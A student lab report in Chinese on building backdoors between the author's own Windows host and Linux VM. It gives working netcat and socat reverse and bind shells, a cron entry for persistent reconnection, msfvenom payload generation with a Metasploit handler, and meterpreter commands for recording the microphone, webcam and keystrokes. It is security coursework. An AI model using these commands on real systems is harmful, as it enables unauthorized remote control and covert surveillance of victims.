Exp2 后門原理與實踐
實驗內容
- (1)使用netcat獲取主機操作Shell,cron啟動
- (2)使用socat獲取主機操作Shell, 任務計劃啟動
- (3)使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
- (4)使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,并嘗試提權
- (5)可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell。加分內容一并寫入本實驗報告。
實驗環境
- Windows主機IP:192.168.6.144
- Linux虛擬機IP:192.168.80.129
實驗工具
- netcat。在linux下叫ncat,kali機自帶,windows7/10中,需下載,可直接使用。
- socat。netcat的增強版。安裝方法同上。
- meterpreter。kali機自帶,只在kali中用
實驗步驟
1.使用netcat獲取主機操作Shell
(1)Windows為攻擊方
- win中使用ncat監聽4305端口:ncat.exe -l -p 4305
- Linux中輸入指令:nc 192.168.6.144 4305 -e /bin/sh 反彈連接Windows(指令中的ip地址需為Windows ip)


(2)Linux為攻擊方
- 在Linux中監聽4316端口:nc -l -p 4305
- 在Windows輸入指令 ncat.exe -e cmd.exe 192.168.80.129 4305 反彈連接Linux的4305端口(指令中的ip地址需為Linux ip)


2.使用netcat獲取主機操作Shell,cron啟動
cron是linux下用來周期性的執行某種任務或等待處理某些事件的一個守護進程,與windows下的計劃任務類似,當安裝完成操作系統后,默認會安裝此服務 工具,并且會自動啟動cron進程,cron進程每分鐘會定期檢查是否有要執行的任務,如果有要執行的任務,則自動執行該任務。
crontab文件的含義:
用戶所建立的crontab文件中,每一行都代表一項任務,每行的每個字段代表一項設置,它的格式共分為六個字段,前五段是時間設定段,第六段是要執行的命令段,格式如下:minute hour day month week command
(1)用 crontab -e 指令編輯定時任務,選擇3,也就是基本的vim編輯器(1也可以),vim編輯器中用 i 改為插入模式,在最后一行插入 59 * * * * /bin/netcat 192.168.6.144 4305 -e /bin/sh ,然后輸入 wq! 保存并退出,上述指令表示每天每時的59分,都會反向連接Windows本機的4305端口,就會啟動cron。

(2)在59分時輸入ls,發現corn啟動

3.使用socat獲取主機操作Shell, 任務計劃啟動
socat是ncat的增強版,socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。作為一款雙向數據流通道工具,它擁有許多強大的功能:端口的連接、端口偵聽、收發文件、傳遞shell、端口轉發、端口掃描等。
(1)右鍵開始菜單,選擇計算機管理,點擊任務管理計劃庫“創建任務”,填寫任務名稱,新建一個觸發器。同時創建新操作,在操作->程序或腳本中選擇 socat.exe 文件的路徑,在添加參數一欄填寫 tcp-listen:4305 exec:cmd.exe,pty,stderr ,這個命令的作用是把cmd.exe綁定到端口4305,同時把cmd.exe的stderr重定向到stdout上

(2)按快捷鍵win+L即能鎖定計算機,創建的任務開始運行。此時在Linux中輸入指令 socat - tcp:192.168.6.144:4305 ,發現成功獲得了cmd.exe,能夠輸入Windows的命令

3.使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
(1)Linux中輸入指令生成后門程序(反彈鏈接地址應為Linux地址,部分上屆博客存在錯誤),并使用ncat傳輸已經生成的20164305.exe程序文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -f exe > 20164305.exe
ncat.exe -lv 4305 > 20164305.exe
nc 192.168.6.144 4305< 20164305.exe


(2)在Linux中輸入指令msfconsole,進入msf命令行,msf啟動監聽前需要進行一些設置
1 use exploit/multi/handler 2 set payload windows/x64/meterpreter/reverse_tcp 3 show options 4 set LHOST 192.168.80.129 5 set LPORT 4305 6 exploit

(3)啟動監聽后再在win中運行后門程序,此時Linux上已經獲得了Windows主機的連接,并且得到了遠程控制的shell,能夠輸入Windows中的命令。

4.使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,并嘗試提權
record_mic//截獲音頻 webcam_snap//使用攝像頭 screenshot//進行截屏 keyscan_start//記錄下擊鍵的過程 keyscan_dump//讀取擊鍵的記錄




5.可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
(1)按照正常思路,先利用msf生成shellcode代碼(直接貼圖了)

(2)然后按實驗一中的步驟確定緩沖區臨界點位置,然后將數據注入

(3)按第三部進行監聽,然后就變成了一直等待

(4)經過查找msfvenom的指令手冊,結合其他同學做法更改后門生成代碼方式為 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -x /home+/pwn1 -f elf > pwn2 ,結果就成功了????(先把博客寫了,然后去看看pwn2與我自己構造的區別)


(5)我又嘗試將生成的c代碼放到c語言程序中編譯,發現編譯后的exe也可以作為后門(只不過 殺軟后就被自動清除了o(╥﹏╥)o)


實驗基礎問題回答:
(1)例舉你能想到的一個后門進入到你系統中的可能方式?
答:通過訪問釣魚網站,自動下載。
(2)例舉你知道的后門如何啟動起來(win及linux)的方式?
答:與其他軟件進行捆綁,同時啟動。
(3)Meterpreter有哪些給你映像深刻的功能?
答:能提升權限(這就有點無敵了.......).
(4)如何發現自己有系統有沒有被安裝后門?
答:借助外界軟件,例如360安全軟件和防火墻,或者查看任務管理器,禁用不認識的后臺。
實驗收獲
后門很有趣,要在研究一下msfvenom是怎么把shellcode注入pwn1里的。

浙公網安備 33010602011771號